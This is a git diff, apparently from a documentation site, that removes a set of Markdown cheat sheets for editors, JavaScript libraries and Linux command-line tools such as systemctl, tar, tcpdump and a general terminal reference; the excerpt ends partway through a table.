-### Add Property
-
-```stylus
-gradient(color)
-  add-property('background-image', linear-gradient(top, color, darken(color, 20%)))
-  color
-```
-
-```stylus
-body
-  background: gradient(red)
-```
-
-See: [add-property](http://stylus-lang.com/docs/bifs.html#add-propertyname-expr)
-
-### sprintf
-
-```stylus
-'-webkit-gradient(%s, %s, %s)' % (linear (0 0) (0 100%))
-// → -webkit-gradient(linear, 0 0, 0 100%)
-```
-
-```stylus
-s("rgba(0, 0, 0, %s)", 0.3)
-```
-
-See: [s](http://stylus-lang.com/docs/bifs.html#sfmt-)
-
-### Embed URL
-
-```
-background: embedurl('logo.png')
-// → background: url("data:image/png;base64,…")
-```
-
-See: [embedurl](http://stylus-lang.com/docs/bifs.html#embedurlpath-encoding)
diff --git a/docs/content/cheat-sheets/su.md b/docs/content/cheat-sheets/su.md
deleted file mode 100644
index 8f70289c06..0000000000
--- a/docs/content/cheat-sheets/su.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# To switch to another user account:
-
-su <user>
diff --git a/docs/content/cheat-sheets/sublime-text.md b/docs/content/cheat-sheets/sublime-text.md
deleted file mode 100644
index fd181438c9..0000000000
--- a/docs/content/cheat-sheets/sublime-text.md
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Sublime Text
-category: Apps
----
-
-### Select & Expand
-
-| `⌘ D` | select current word (repeat to include next instance of word) |
-| `⌘ L` | select current line (repeat to include next line) |
-| `⌘ ⇧ L` | split selection into multiple lines |
-| `⌘ ⇧ A` | select text inside tag (repeat to expand) |
-| `Ctrl ⇧ M` | select to curly or angle brackets (repeat to expand) |
-{: .-shortcuts}
-
-Replace ⌘ with Ctrl on Windows and Linux.
-
-### Code Folding
-
-| `⌘ Alt [` | fold closest block |
-| `⌘ Alt ]` | unfold closest block |
-| `⌘ K` `⌘ 1` | fold all first level code blocks |
-| `⌘ K` `⌘ 2` | fold all second level code blocks |
-| `⌘ K` `⌘ 3 (etc)` | fold all third level code blocks (etc) |
-| `⌘ K` `⌘ T` | fold all HTML attributes |
-| `⌘ K` `⌘ 0` | unfold everything |
-{: .-shortcuts}
-
-### Editing
-
-| `⌘ ⇧ D` | duplicate current line/selection |
-| `⌘ ⇧ K` | delete current line/selection |
-{: .-shortcuts}
-
-### Goto
-
-| `⌘ P` | goto anything |
-| `⌘ G` | goto line number |
-| `⌘ R` | goto symbol |
-| `⌘ P, :` | goto line number (enter number after `:`) |
-| `⌘ P, #` | goto and list fuzzy-matches of string (enter characters after `#`) |
-| `⌘ P, @` | goto and list symbol (begin typing symbol name after `@`) |
-{: .-shortcuts}
-
-### Command line
-
-```sh
-$ subl .
-$ subl README.md
-```
-
-Use `subl` to open files in Sublime from the terminal.
diff --git a/docs/content/cheat-sheets/sublime_text.md b/docs/content/cheat-sheets/sublime_text.md
deleted file mode 100644
index 19561c1106..0000000000
--- a/docs/content/cheat-sheets/sublime_text.md
+++ /dev/null
@@ -1,132 +0,0 @@
-# SUBLIME TEXT 3 CHEATSHEET
-
-## Access every command with the command palette
-
--   `shift + cmd + P `: Command palette
-
-## Goto anything
-
--   `cmd + P `: Goto file
-
--   `ctrl + G `: Goto line
-
--   `cmd + P and # `: Fuzzy search
-
--   `cmd + R `: Goto symbol
-
-## Quick selections
-
--   `cmd + D `: Select word
-
--   `cmd + K D `: Skip and add next
-
--   `cmd + U `: Undo quick select
-
--   `cmd + L `: Select line
-
--   `ctrl + cmd + G `: Select all in file
-
--   `shift + cmd + space `: Expand selection to scope
-
--   `shift + cmd + L `: Split into lines
-
-## Edit code
-
--   `cmd + J `: Join 2 lines
-
--   `cmd + shift + D `: Duplicate line
-
--   `cmd + shift + R `: Reindent
-
--   `cmd + shift + K `: Delete line
-
--   `ctrl + cmd + up/down `: Move line/selection up/down
-
--   `alt + cmd + V `: Paste from history
-
--   `shift + cmd + / `: Comment/uncomment line
-
--   `alt + backspace `: Delete word by word
-
--   `alt + fn + backspace `: Forward delete word by word
-
--   `cmd + shift + enter `: Insert line before
-
--   `cmd + enter `: Insert line after
-
-## Searching
-
--   `cmd + F `: Search in file
-
--   `shift + cmd + F `: Search in all files
-
--   `<open files> `: where filter
-
-## Miscelaneous
-
--   `alt + cmd + right/left `: Switch open tab
-
--   `Indent selection `: Indent selection
-
--   `Unindent selection `: Unindent selection
-
--   `Go to previous cursor position `: Go to previous cursor position
-
--   `Go to next previous cursor position `: Go to next previous cursor position
-
--   `Build and execute file `: Build and execute file
-
-## Must have packages
-
-`A file icon, BracketHighlighter, Color Highlighter, Comment-Snippets, DevDocs, EditorConfig, Emmet, File Rename, Git, Git blame, GitGutter, HTML-CSS-JS Prettify, JavaScript Completions, JavaScript Patterns, JavaScript Snippets, LESS, Nodejs, Package Control, Pretty JSON, SideBarEnhancements, SublimeLinter, SublimeLinter-contrib-eslint, Terminal`
-
-## Preferences
-
-```js
-{
-"color_scheme": "Packages/User/Color Highlighter/themes/Boxy Ocean.tmTheme",
-"detect_indentation": false,
-"folder_exclude_patterns":
-[
-"node_modules",
-".svn",
-".git",
-".meteor/local"
-],
-"ignored_packages":
-[
-"Vintage"
-],
-"show_definitions": true,
-"theme": "Adaptive.sublime-theme"
-}
-```
-
-## Keymap
-
-```js
-[
-    { keys: ['super+v'], command: 'paste_and_indent' },
-    { keys: ['super+shift+v'], command: 'paste' },
-    { keys: ['super+shift+r'], command: 'reindent' },
-    { keys: ['super+h'], command: 'dev_docs_search_selection' }
-];
-```
-
-## Syncing settings with iCloud
-
--   `cd ~/Library/Application\ Support/Sublime\ Text\ 3/Packages`
-
--   `mkdir -p ~/Library/Mobile\ Documents/com\~apple\~CloudDocs/WebDev/ST3/Plugins`
-
--   `mv User ~/Library/Mobile\ Documents/com\~apple\~CloudDocs/WebDev/ST3/Plugins`
-
--   `ln -s ~/Library/Mobile\ Documents/com\~apple\~CloudDocs/WebDev/ST3/Plugins/User`
-
-## Restore settings from iCloud
-
--   `cd ~/Library/Application\ Support/Sublime\ Text\ 3/Packages`
-
--   `rm -rf User`
-
--   `ln -s ~/Library/Mobile\ Documents/com\~apple\~CloudDocs/WebDev/ST3/Plugins/User`
diff --git a/docs/content/cheat-sheets/sudo.md b/docs/content/cheat-sheets/sudo.md
deleted file mode 100644
index ef2144f428..0000000000
--- a/docs/content/cheat-sheets/sudo.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# Preserve user environment when running command
-
-sudo -E <cmd>
diff --git a/docs/content/cheat-sheets/superagent.md b/docs/content/cheat-sheets/superagent.md
deleted file mode 100644
index 4f54b3fbc8..0000000000
--- a/docs/content/cheat-sheets/superagent.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Superagent
-category: JavaScript libraries
-prism_languages: [javascript]
-tags:
-    - WIP
----
-
-### Response object
-
-```js
-  res: {
-    // The HTTP Status Code (see: httpstatuses.com for definitions on HTTP status codes)
-    status: 202,
-    // True when res.status is 2xx
-    ok: true,
-    // True when res.status is 4xx or 5xx
-    error: false,
-    // True when res.status is 4xx
-    clientError: false,
-    // True when res.status is 5xx
-    serverError: false,
-
-    // True when res.status == 202
-    accepted: true,
-    // True when res.status == 204 || res.status == 1223
-    noContent: false,
-    // True when res.status == 400
-    badRequest: false,
-    // True when res.status == 401
-    unauthorized: false,
-    // True when res.status == 406
-    notAcceptable: false,
-    // True when res.status == 404
-    notFound: false,
-    // True when res.status == 403
-    forbidden: false,
-
-    // Unparsed response text
-    text: '{"user":{"username":"JohnDoe","role":"admin"}}'
-
-    // Parsed response text (only if response is 'application/json' or 'application/x-www-form-urlencoded'
-    body: {
-      // Example of parsed object from res.text
-      user: {
-        username: 'JohnDoe',
-        role: 'admin'
-      }
-    }
-
-    // The content-type (parsed from headers)
-    type: 'application/json'
-    // The charset (parsed from headers)
-    charset: 'UTF-8'
-    // Header object with each header field as a property
-    headers: {
-      'content-type': 'application/json; charset=UTF-8',
-      ...
-    }
-}
-```
diff --git a/docs/content/cheat-sheets/svn.md b/docs/content/cheat-sheets/svn.md
deleted file mode 100644
index 7ce62f3ad5..0000000000
--- a/docs/content/cheat-sheets/svn.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-tags: [vcs]
----
-
-# To Update working copy from repository:
-
-svn update "/path"
-
-# To Show changed files in working copy:
-
-svn status
-
-# To Show what changed in local file:
-
-svn diff "/path/filename"
-
-# To Add files or folders:
-
-svn add "path/item"
-
-# To Revert local uncommited changes:
-
-svn revert "/path/file"
-
-# To Commit changes to repo:
-
-svn commit -m "message" "/path"
-
-# To Show help for 'svn diff':
-
-svn help diff
diff --git a/docs/content/cheat-sheets/systemctl.md b/docs/content/cheat-sheets/systemctl.md
deleted file mode 100644
index cc1688761d..0000000000
--- a/docs/content/cheat-sheets/systemctl.md
+++ /dev/null
@@ -1,95 +0,0 @@
-# To see running processes:
-
-systemctl
-
-# To check the status of a service:
-
-systemctl status foo.service
-
-# To start/restart/stop a service:
-
-systemctl start/restart/stop foo.service
-
-# To reload a service's configuration:
-
-systemctl reload foo.service
-
-# To edit a service's configuration:
-
-systemctl edit foo.service
-
-# To reload systemd manager configuration:
-
-systemctl daemon-reload
-
-# To enable a service to startup on boot:
-
-systemctl enable foo.service
-
-# To disable a service to startup on boot:
-
-systemctl disable foo.service
-
-# To start/restart/stop per-user service:
-
-systemctl --user start/restart/stop emacs.service
-
-# To see all active units, add --all for everything:
-
-systemctl list-units
-
-# To see all service units:
-
-systemctl list-units -at service
-
-# To see filtered units (all running service):
-
-systemctl list-units -t service --state running
-
-# To see all service files, see which are enabled or disabled:
-
-systemctl list-unit-files -at service
-
-# To list all units with specific status, inactive, active, enabled, running, exited:
-
-systemctl list-units --all --state=inactive
-
-# To use systemctl to list all unit files:
-
-systemctl list-unit-files
-
-# To see log items from the most recent boot:
-
-journalctl -b
-
-# To to see only kernal messages, add -b for at the most recent boot:
-
-journalctl -k
-
-# To get the log entries for a service since boot:
-
-journalctl -b -u foo.service
-
-# To list the dependencies of a service:
-
-# when no service name is specified, lists the dependencies of default.target
-
-# add -all to expand dependencies recursively
-
-systemctl list-dependencies foo.service
-
-# To see low level details of a service settings on the system:
-
-systemctl show foo.service
-
-# To list currently loaded targets:
-
-systemctl list-units --type=target
-
-# To change current target:
-
-systemctl isolate foo.target
-
-# To change default target:
-
-systemctl enable foo.target
diff --git a/docs/content/cheat-sheets/systemd.md b/docs/content/cheat-sheets/systemd.md
deleted file mode 100644
index c26ca754b9..0000000000
--- a/docs/content/cheat-sheets/systemd.md
+++ /dev/null
@@ -1,24 +0,0 @@
-# To display process startup time:
-
-systemd-analyze
-
-# To display process startup time at service level:
-
-systemd-analyze blame
-
-# To list running units:
-
-systemctl list-units
-
-# To load a unit at startup:
-
-systemctl enable foo.service
-
-# To start or Stop a unit:
-
-systemctl <start | stop> foo.service
-
-# To unit file locations:
-
-/etc/systemd/system
-/usr/lib/systemd/system
diff --git a/docs/content/cheat-sheets/tabular.md b/docs/content/cheat-sheets/tabular.md
deleted file mode 100644
index 3b09147fb9..0000000000
--- a/docs/content/cheat-sheets/tabular.md
+++ /dev/null
@@ -1,147 +0,0 @@
----
-title: Tabular
-category: Vim
-
-weight: -1
-intro: |
-    [Tabular](https://github.com/godlygeek/tabular) is a Vim script for text alignment.
----
-
-## Common usage
-
-### Tables
-
-```
-:Tab /|
-```
-
-{: .-setup}
-
-```
-| Fruit  | Color  |
-| -----  | -----  |
-| Apple  | Red    |
-| Banana | Yellow |
-| Kiwi   | Green  |
-```
-
-### Variables
-
-```
-:Tab /=
-```
-
-{: .-setup}
-
-```
-title = "Hello"
-src   = "image.jpg"
-width = 640
-```
-
-### Colons
-
-```
-:Tab /:\zs/l0l1
-```
-
-{: .-setup}
-
-```
-title:       "Hello world"
-description: "This is a description"
-src:         "image.jpg"
-height:      320
-width:       640
-```
-
-## Tab command
-
-### Basic example
-
-```
-:Tab /:
-```
-
-{: .-setup}
-
-```bash
-title : My picture
-src   : img.jpg
-```
-
-### Right align
-
-```
-:Tab /:/r0
-```
-
-{: .-setup}
-
-```bash
-title:My picture
-  src:   img.jpg
-```
-
-### The \zs atom
-
-```
-:Tab /:\zs
-```
-
-{: .-setup}
-
-```
-title:  My picture
-src:    img.jpg
-```
-
-The `\zs` atom will exclude the `:` from the search match.
-
-### Specifier
-
-```
-:Tab /:/r1c1l0
-```
-
-{: .-setup}
-
-```bash
-title : My picture
-  src : img.jpg
-```
-
-#### Explanation
-
--   `r1` -- Right align with 1 space
--   `c1` -- Center align the comma with 1 space
--   `l0` -- Left align with 0 spaces
-
-### Regexp
-
-```
-:Tab /^[^,]*\zs,/r0
-```
-
-{: .-setup}
-
-```bash
-abc,hello
-  c,hi there
-  a,yo
-```
-
-### Specifiers
-
-| Specifier | Description                                                               |
-| --------- | ------------------------------------------------------------------------- |
-| `r1c1l0`  | multiple specifiers, one per column<br>(the separator counts as a column) |
-| ---       | ---                                                                       |
-| `lN`      | Left-align (with N spaces padding)                                        |
-| `rN`      | Right-align (with N spaces padding)                                       |
-| `cN`      | Center-align (with N spaces padding)                                      |
-
-## Also see
-
--   [godlygeek/tabular](https://github.com/godlygeek/tabular) _(github.com)_
--   [Aligning text with Tabular.vim](http://vimcasts.org/episodes/aligning-text-with-tabular-vim/) _(vimcasts.org)_
diff --git a/docs/content/cheat-sheets/tail.md b/docs/content/cheat-sheets/tail.md
deleted file mode 100644
index b5705d8634..0000000000
--- a/docs/content/cheat-sheets/tail.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# To show the last 10 lines of <file>:
-
-tail <file>
-
-# To show the last <number> lines of <file>:
-
-tail -n <number> <file>
-
-# To show the last lines of <file> starting with <number>:
-
-tail -n +<number> <file>
-
-# To show the last <number> bytes of <file>:
-
-tail -c <number> <file>
-
-# To show the last 10 lines of <file> and to wait for <file> to grow:
-
-tail -f <file>
diff --git a/docs/content/cheat-sheets/tape.md b/docs/content/cheat-sheets/tape.md
deleted file mode 100644
index 379bad5d94..0000000000
--- a/docs/content/cheat-sheets/tape.md
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: Tape
-category: JavaScript libraries
----
-
-```js
-test('things', (t) => {
-  t.plan(1)
-
-  t.equal('actual', 'expected')
-  t.equal('actual', 'expected', 'should be equal') // messages are optional
-
-  t.end(err)
-  t.fail('msg')
-  t.pass('msg')
-  t.timeoutAfter(2000)
-  t.skip('msg')
-
-  t.ok(value, 'is truthy')
-  t.notOk(value, 'is falsy')
-  t.error(err, 'is falsy (print err.message)')
-
-  t.equal(actual, expected, 'is equal')
-  t.notEqual
-
-  t.deepEqual(actual, expected, 'is equal (use node's deepEqual)')
-  t.notDeepEqual
-
-  t.looseEqual(actual, expected, 'is equal (use node's deepEqual with ==)')
-  t.notLooseEqual
-
-  t.throws(fn, /FooError/)
-  t.throws(fn, FooError /* class */)
-  t.doesNotThrow
-
-  t.comment('message')
-})
-```
-
-```js
-test.only((t) => { ... })
-```
diff --git a/docs/content/cheat-sheets/tar.md b/docs/content/cheat-sheets/tar.md
deleted file mode 100644
index 066e62c13a..0000000000
--- a/docs/content/cheat-sheets/tar.md
+++ /dev/null
@@ -1,49 +0,0 @@
----
-tags: [compression]
----
-
-# To extract an uncompressed archive:
-
-tar -xvf /path/to/foo.tar
-
-# To create an uncompressed archive:
-
-tar -cvf /path/to/foo.tar /path/to/foo/
-
-# To extract a .gz archive:
-
-tar -xzvf /path/to/foo.tgz
-
-# To create a .gz archive:
-
-tar -czvf /path/to/foo.tgz /path/to/foo/
-
-# To list the content of an .gz archive:
-
-tar -ztvf /path/to/foo.tgz
-
-# To extract a .bz2 archive:
-
-tar -xjvf /path/to/foo.tgz
-
-# To create a .bz2 archive:
-
-tar -cjvf /path/to/foo.tgz /path/to/foo/
-
-# To extract a .tar in specified Directory:
-
-tar -xvf /path/to/foo.tar -C /path/to/destination/
-
-# To list the content of an .bz2 archive:
-
-tar -jtvf /path/to/foo.tgz
-
-# To create a .gz archive and exclude all jpg,gif,... from the tgz
-
-tar czvf /path/to/foo.tgz --exclude=\*.{jpg,gif,png,wmv,flv,tar.gz,zip} /path/to/foo/
-
-# To use parallel (multi-threaded) implementation of compression algorithms:
-
-tar -z ... -> tar -Ipigz ...
-tar -j ... -> tar -Ipbzip2 ...
-tar -J ... -> tar -Ipixz ...
diff --git a/docs/content/cheat-sheets/tarsnap.md b/docs/content/cheat-sheets/tarsnap.md
deleted file mode 100644
index 1e60912322..0000000000
--- a/docs/content/cheat-sheets/tarsnap.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-tags: [compression]
----
-
-# Perform a backup of two directories
-
-tarsnap -c -f <archive-name> /usr/home /other/stuff/to/backup
-
-# Print how much data would be uploaded
-
-tarsnap -c -f <archive-name> --dry-run --print-stats <directories...>
-
-# Copy an archive (only accesses metadata)
-
-tarsnap -c -f <target-archive-name> @@<source-archive>
-
-# List the archives
-
-tarsnap --list-archives
-
-# Delete an archive
-
-tarsnap -d -f <archive-name>
-
-# List the files in an archive
-
-tarsnap -tv -f <archive-name>
-
-# Restore two users' home directories from an archive (use no leading slashes)
-
-tarsnap -x -f <archive-name> usr/home/alice usr/home/bob
diff --git a/docs/content/cheat-sheets/tcpdump.md b/docs/content/cheat-sheets/tcpdump.md
deleted file mode 100644
index 37aac3b09f..0000000000
--- a/docs/content/cheat-sheets/tcpdump.md
+++ /dev/null
@@ -1,97 +0,0 @@
-# TCPDump is a packet analyzer. It allows the user to intercept and display TCP/IP
-
-# and other packets being transmitted or received over a network. (cf Wikipedia).
-
-# Note: 173.194.40.120 => google.com
-
-# Intercepts all packets on eth0
-
-tcpdump -i eth0
-
-# Intercepts all packets from/to 173.194.40.120
-
-tcpdump host 173.194.40.120
-
-# Intercepts all packets on all interfaces from / to 173.194.40.120 port 80
-
-# -nn => Disables name resolution for IP addresses and port numbers.
-
-tcpdump -nn -i any host 173.194.40.120 and port 80
-
-# Make a grep on tcpdump (ASCII)
-
-# -A => Show only ASCII in packets.
-
-# -s0 => By default, tcpdump only captures 68 bytes.
-
-tcpdump -i any -A host 173.194.40.120 and port 80 | grep 'User-Agent'
-
-# With ngrep
-
-# -d eth0 => To force eth0 (else ngrep work on all interfaces)
-
-# -s0 => force ngrep to look at the entire packet. (Default snaplen: 65536 bytes)
-
-ngrep 'User-Agent' host 173.194.40.120 and port 80
-
-# Intercepts all packets on all interfaces from / to 8.8.8.8 or 173.194.40.127 on port 80
-
-tcpdump 'host ( 8.8.8.8 or 173.194.40.127 ) and port 80' -i any
-
-# Intercepts all packets SYN and FIN of each TCP session.
-
-tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0'
-
-# To display SYN and FIN packets of each TCP session to a host that is not on our network
-
-tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0 and not src and dst net local_addr'
-
-# To display all IPv4 HTTP packets that come or arrive on port 80 and that contain only data (no SYN, FIN no, no packet containing an ACK)
-
-tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'
-
-# Saving captured data
-
-tcpdump -w file.cap
-
-# Reading from capture file
-
-tcpdump -r file.cap
-
-# Show content in hexa
-
-# Change -x to -xx => show extra header (ethernet).
-
-tcpdump -x
-
-# Show content in hexa and ASCII
-
-# Change -X to -XX => show extra header (ethernet).
-
-tcpdump -X
-
-# Note on packet maching:
-
-# Port matching:
-
-# - portrange 22-23
-
-# - not port 22
-
-# - port ssh
-
-# - dst port 22
-
-# - src port 22
-
-#
-
-# Host matching:
-
-# - dst host 8.8.8.8
-
-# - not dst host 8.8.8.8
-
-# - src net 67.207.148.0 mask 255.255.255.0
-
-# - src net 67.207.148.0/24
diff --git a/docs/content/cheat-sheets/tee.md b/docs/content/cheat-sheets/tee.md
deleted file mode 100644
index 1087b8cc29..0000000000
--- a/docs/content/cheat-sheets/tee.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# To tee stdout to <outfile>:
-
-ls | tee <outfile>
-
-# To tee stdout and append to <outfile>:
-
-ls | tee -a <outfile>
-
-# To tee stdout to the terminal, and also pipe it into another program for further processing:
-
-ls | tee /dev/tty | xargs printf "\033[1;34m%s\033[m\n"
diff --git a/docs/content/cheat-sheets/template.md b/docs/content/cheat-sheets/template.md
deleted file mode 100644
index cca01a06e0..0000000000
--- a/docs/content/cheat-sheets/template.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: lorem-ipsum
-subtitle: lorem-ipsum
-date: '2021-12-28'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
----
-
-Etiam facilisis lacus nec pretium lobortis. Praesent dapibus justo non efficitur efficitur. Nullam viverra justo arcu, eget egestas tortor pretium id. Sed imperdiet mattis eleifend. Vivamus suscipit et neque imperdiet venenatis.
-
-> Vestibulum ullamcorper risus auctor eleifend consequat.
-
-![Placeholder Image](https://assets.stackbit.com/components/images/default/post-4.jpeg)
-
-In malesuada sed urna eget vehicula. Donec fermentum tortor sit amet nisl elementum fringilla. Pellentesque dapibus suscipit faucibus. Nullam malesuada sed urna quis rutrum. Donec facilisis lorem id maximus mattis. Vestibulum quis elit magna. Vestibulum accumsan blandit consequat. Phasellus quis posuere quam.
-
-Vivamus mollis in tellus ac ullamcorper. Vestibulum sit amet bibendum ipsum, vitae rutrum ex. Nullam cursus, urna et dapibus aliquam, urna leo euismod metus, eu luctus justo mi eget mauris. Proin felis leo, volutpat et purus in, lacinia luctus eros. Pellentesque lobortis massa scelerisque lorem ullamcorper, sit amet elementum nulla scelerisque. In volutpat efficitur nulla, aliquam ornare lectus ultricies ac. Mauris sagittis ornare dictum. Nulla vel felis ut purus fermentum pretium. Sed id lectus ac diam aliquet venenatis. Etiam ac auctor enim. Nunc velit mauris, viverra vel orci ut, egestas rhoncus diam. Morbi scelerisque nibh tellus, vel varius urna malesuada sed. Etiam ultricies sem consequat, posuere urna non, maximus ex. Mauris gravida diam sed augue condimentum pulvinar vel ac dui. Integer vel convallis justo.
diff --git a/docs/content/cheat-sheets/terminal-cheat-sheet.md b/docs/content/cheat-sheets/terminal-cheat-sheet.md
deleted file mode 100644
index 995865c897..0000000000
--- a/docs/content/cheat-sheets/terminal-cheat-sheet.md
+++ /dev/null
@@ -1,576 +0,0 @@
-# Terminal Cheat Sheet
-
-### 1 - SYSTEM INFORMATION
-
-\# Display Linux system information uname -a
-
-## Display kernel release information
-
-uname -r
-
-## Show which version of Red Hat installed
-
-cat /etc/redhat-release
-
-## Show how long the system has been running + load
-
-uptime
-
-## Show system host name
-
-hostname
-
-## Display all local IP addresses of the host.
-
-hostname -I
-
-## Show system reboot history
-
-last reboot
-
-## Show the current date and time
-
-date
-
-## Show this month's calendar
-
-cal
-
-## Display who is online
-
-w
-
-## Who you are logged in as
-
-whoami
-
-### 2 - HARDWARE INFORMATION
-
-\# Display messages in kernel ring buffer dmesg
-
-## Display CPU information
-
-cat /proc/cpuinfo
-
-## Display memory information
-
-cat /proc/meminfo
-
-## Display free and used memory ( -h for human readable, -m for MB, -g for GB.)
-
-free -h
-
-## Display PCI devices
-
-lspci -tv
-
-## Display USB devices
-
-lsusb -tv
-
-## Display DMI/SMBIOS (hardware info) from the BIOS
-
-dmidecode
-
-## Show info about disk sda
-
-hdparm -i /dev/sda
-
-## Perform a read speed test on disk sda
-
-hdparm -tT /dev/sda
-
-## Test for unreadable blocks on disk sda
-
-badblocks -s /dev/sda
-
-### 3 - PERFORMANCE MONITORING AND STATISTICS
-
-\# Display and manage the top processes top
-
-## Interactive process viewer (top alternative)
-
-htop
-
-## Display processor related statistics
-
-mpstat 1
-
-## Display virtual memory statistics
-
-vmstat 1
-
-## Display I/O statistics
-
-iostat 1
-
-## Display the last 100 syslog messages (Use /var/log/syslog for Debian based systems.)
-
-tail -100 /var/log/messages
-
-## Capture and display all packets on interface eth0
-
-tcpdump -i eth0
-
-## Monitor all traffic on port 80 ( HTTP )
-
-tcpdump -i eth0 'port 80'
-
-## List all open files on the system
-
-lsof
-
-## List files opened by user
-
-lsof -u user
-
-## Display free and used memory ( -h for human readable, -m for MB, -g for GB.)
-
-free -h
-
-## Execute "df -h", showing periodic updates
-
-watch df -h
-
-### 4 - USER INFORMATION AND MANAGEMENT
-
-\# Display the user and group ids of your current user. id
-
-## Display the last users who have logged onto the system.
-
-last
-
-## Show who is logged into the system.
-
-who
-
-## Show who is logged in and what they are doing.
-
-w
-
-## Create a group named "test".
-
-groupadd test
-
-## Create an account named john, with a comment of "John Smith" and create the user's home directory.
-
-useradd -c "John Smith" -m john
-
-## Delete the john account.
-
-userdel john
-
-## Add the john account to the sales group
-
-usermod -aG sales john
-
-### 5 - FILE AND DIRECTORY COMMANDS
-
-\# List all files in a long listing (detailed) format ls -al
-
-## Display the present working directory
-
-pwd
-
-## Create a directory
-
-mkdir directory
-
-## Remove (delete) file
-
-rm file
-
-## Remove the directory and its contents recursively
-
-rm -r directory
-
-## Force removal of file without prompting for confirmation
-
-rm -f file
-
-## Forcefully remove directory recursively
-
-rm -rf directory
-
-## Copy file1 to file2
-
-cp file1 file2
-
-## Copy source_directory recursively to destination. If destination exists, copy source_directory into destination, otherwise create destination with the contents of source_directory.
-
-cp -r source_directory destination
-
-## Rename or move file1 to file2. If file2 is an existing directory, move file1 into directory file2
-
-mv file1 file2
-
-## Create symbolic link to linkname
-
-ln -s /path/to/file linkname
-
-## Create an empty file or update the access and modification times of file.
-
-touch file
-
-## View the contents of file
-
-cat file
-
-## Browse through a text file
-
-less file
-
-## Display the first 10 lines of file
-
-head file
-
-## Display the last 10 lines of file
-
-tail file
-
-## Display the last 10 lines of file and "follow" the file as it grows.
-
-tail -f file
-
-### 6 - PROCESS MANAGEMENT
-
-\# Display your currently running processes ps
-
-## Display all the currently running processes on the system.
-
-ps -ef
-
-## Display process information for processname
-
-ps -ef | grep processname
-
-## Display and manage the top processes
-
-top
-
-## Interactive process viewer (top alternative)
-
-htop
-
-## Kill process with process ID of pid
-
-kill pid
-
-## Kill all processes named processname
-
-killall processname
-
-## Start program in the background
-
-program &
-
-## Display stopped or background jobs
-
-bg
-
-## Brings the most recent background job to foreground
-
-fg
-
-## Brings job n to the foreground
-
-fg n
-
-### 7 - FILE PERMISSIONS
-
-![Linux chmod example](https://www.linuxtrainingacademy.com/wp-content/uploads/2017/02/linux-permissions-chart.png) PERMISSION EXAMPLE
-
-&#x20; U G W rwx rwx rwx chmod 777 filename rwx rwx r-x chmod 775 filename rwx r-x r-x chmod 755 filename rw- rw- r-- chmod 664 filename rw- r-- r-- chmod 644 filename
-
-## NOTE: Use 777 sparingly!
-
-&#x20; LEGEND U = User G = Group W = World
-
-&#x20; r = Read w = write x = execute - = no access
-
-### 8 - NETWORKING
-
-\# Display all network interfaces and IP address ip a
-
-## Display eth0 address and details
-
-ip addr show dev eth0
-
-## Query or control network driver and hardware settings
-
-ethtool eth0
-
-## Send ICMP echo request to host
-
-ping host
-
-## Display whois information for domain
-
-whois domain
-
-## Display DNS information for domain
-
-dig domain
-
-## Reverse lookup of IP_ADDRESS
-
-dig -x IP_ADDRESS
-
-## Display DNS IP address for domain
-
-host domain
-
-## Display the network address of the host name.
-
-hostname -i
-
-## Display all local IP addresses of the host.
-
-hostname -I
-
-## Download http://domain.com/file
-
-wget http://domain.com/file
-
-## Display listening tcp and udp ports and corresponding programs
-
-netstat -nutlp
-
-### 9 - ARCHIVES (TAR FILES)
-
-\# Create tar named archive.tar containing directory. tar cf archive.tar directory
-
-## Extract the contents from archive.tar.
-
-tar xf archive.tar
-
-## Create a gzip compressed tar file name archive.tar.gz.
-
-tar czf archive.tar.gz directory
-
-## Extract a gzip compressed tar file.
-
-tar xzf archive.tar.gz
-
-## Create a tar file with bzip2 compression
-
-tar cjf archive.tar.bz2 directory
-
-## Extract a bzip2 compressed tar file.
-
-tar xjf archive.tar.bz2
-
-### 10 - INSTALLING PACKAGES
-
-\# Search for a package by keyword. yum search keyword
-
-## Install package.
-
-yum install package
-
-## Display description and summary information about package.
-
-yum info package
-
-## Install package from local file named package.rpm
-
-rpm -i package.rpm
-
-## Remove/uninstall package.
-
-yum remove package
-
-## Install software from source code.
-
-tar zxvf sourcecode.tar.gz cd sourcecode ./configure make make install
-
-### 11 - SEARCH
-
-\# Search for pattern in file grep pattern file
-
-## Search recursively for pattern in directory
-
-grep -r pattern directory
-
-## Find files and directories by name
-
-locate name
-
-## Find files in /home/john that start with "prefix".
-
-find /home/john -name 'prefix\*'
-
-## Find files larger than 100MB in /home
-
-find /home -size +100M
-
-### 12 - SSH LOGINS
-
-\# Connect to host as your local username. ssh host
-
-## Connect to host as user
-
-ssh user@host
-
-## Connect to host using port
-
-ssh -p port user@host
-
-### 13 - FILE TRANSFERS
-
-\# Secure copy file.txt to the /tmp folder on server scp file.txt server:/tmp
-
-## Copy \*.html files from server to the local /tmp folder.
-
-scp server:/var/www/\*.html /tmp
-
-## Copy all files and directories recursively from server to the current system's /tmp folder.
-
-scp -r server:/var/www /tmp
-
-## Synchronize /home to /backups/home
-
-rsync -a /home /backups/
-
-## Synchronize files/directories between the local and remote system with compression enabled
-
-rsync -avz /home server:/backups/
-
-### 14 - DISK USAGE
-
-\# Show free and used space on mounted filesystems df -h
-
-## Show free and used inodes on mounted filesystems
-
-df -i
-
-## Display disks partitions sizes and types
-
-fdisk -l
-
-## Display disk usage for all files and directories in human readable format
-
-du -ah
-
-## Display total disk usage off the current directory
-
-du -sh
-
-### 15 - DIRECTORY NAVIGATION
-
-\# To go up one level of the directory tree. (Change into the parent directory.) cd ..
-
-## Go to the $HOME directory
-
-cd
-
-## Change to the /etc directory
-
-cd /etc
-
-| Command                               | Description                                                                                     |
